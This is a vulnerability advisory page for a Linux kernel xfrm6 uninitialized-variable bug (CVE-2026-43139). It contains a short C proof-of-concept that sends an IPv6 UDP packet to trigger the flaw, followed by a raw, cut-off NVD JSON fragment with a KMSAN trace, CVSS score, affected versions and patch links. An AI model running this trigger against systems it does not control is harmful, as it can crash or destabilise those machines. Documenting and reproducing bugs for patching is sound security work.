CVE-2026-43139

/* * PoC for CVE-2026-43139 * This code attempts to trigger the uninitialized variable usage * by sending UDP traffic over IPv6 that requires IPsec lookup. * Compile: gcc -o poc_cve2026_43139 poc_cve2026_43139.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sockfd; struct sockaddr_in6 addr; const char *message = "Triggering xfrm6 path"; // Create a IPv6 UDP socket sockfd = socket(AF_INET6, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); exit(EXIT_FAILURE); } memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(80); // Use a link-local or specific address that might trigger saddr selection issues // depending on the system's routing and IPsec policy configuration. if (inet_pton(AF_INET6, "ff02::1", &addr.sin6_addr) <= 0) { perror("inet_pton failed"); close(sockfd); exit(EXIT_FAILURE); } // Sending data triggers the xfrm_lookup_route -> xfrm_lookup_with_ifid // -> xfrm_resolve_and_create_bundle -> xfrm_tmpl_resolve_one -> xfrm6_get_saddr path. if (sendto(sockfd, message, strlen(message), 0, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("sendto failed"); } else { printf("Packet sent. Check kernel logs for KMSAN warnings or crashes.\n"); } close(sockfd); return 0; }

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When ipv6_dev_get_saddr() fails to find a suitable\nsource address (returns -EADDRNOTAVAIL), saddr->in6 is left\nuninitialized, but xfrm6_get_saddr() still returns 0 (success).\n\nThis causes the caller xfrm_tmpl_resolve_one() to use the uninitialized\naddress in xfrm_state_find(), triggering KMSAN warning:\n\n=====================================================\nBUG: KMSAN: uninit-value in xfrm_state_find+0x2424/0xa940\n xfrm_state_find+0x2424/0xa940\n xfrm_resolve_and_create_bundle+0x906/0x5a20\n xfrm_lookup_with_ifid+0xcc0/0x3770\n xfrm_lookup_route+0x63/0x2b0\n ip_route_output_flow+0x1ce/0x270\n udp_sendmsg+0x2ce1/0x3400\n inet_sendmsg+0x1ef/0x2a0\n __sock_sendmsg+0x278/0x3d0\n __sys_sendto+0x593/0x720\n __x64_sys_sendto+0x130/0x200\n x64_sys_call+0x332b/0x3e70\n do_syscall_64+0xd3/0xf80\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nLocal variable tmp.i.i created at:\n xfrm_resolve_and_create_bundle+0x3e3/0x5a20\n xfrm_lookup_with_ifid+0xcc0/0x3770\n=====================================================\n\nFix by checking the return value of ipv6_dev_get_saddr() and propagating\nthe error."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.19", "versionEndExcluding": "5.10.252", "matchCriteriaId": "128F081F-CEB9-49AD-8832-F177C6299DED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1799d8abeabc68ec05679292aaf6cba93b343c05", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3dcd1664ac15eee6a690daec7c4ffc59190406f7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4f28141786e1fe884ce42a5197ba9beed540f0ea", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6535867673bf301d52aa00593a4d1d18cc3922fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/719918fc88df6da023dfff370cd965151a5afd7f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c7221e7bd8fc2ef38a0b27be580d9d202281306b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dc0abce055134cb83b0d981d31ceb20dda419787", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https:// ... 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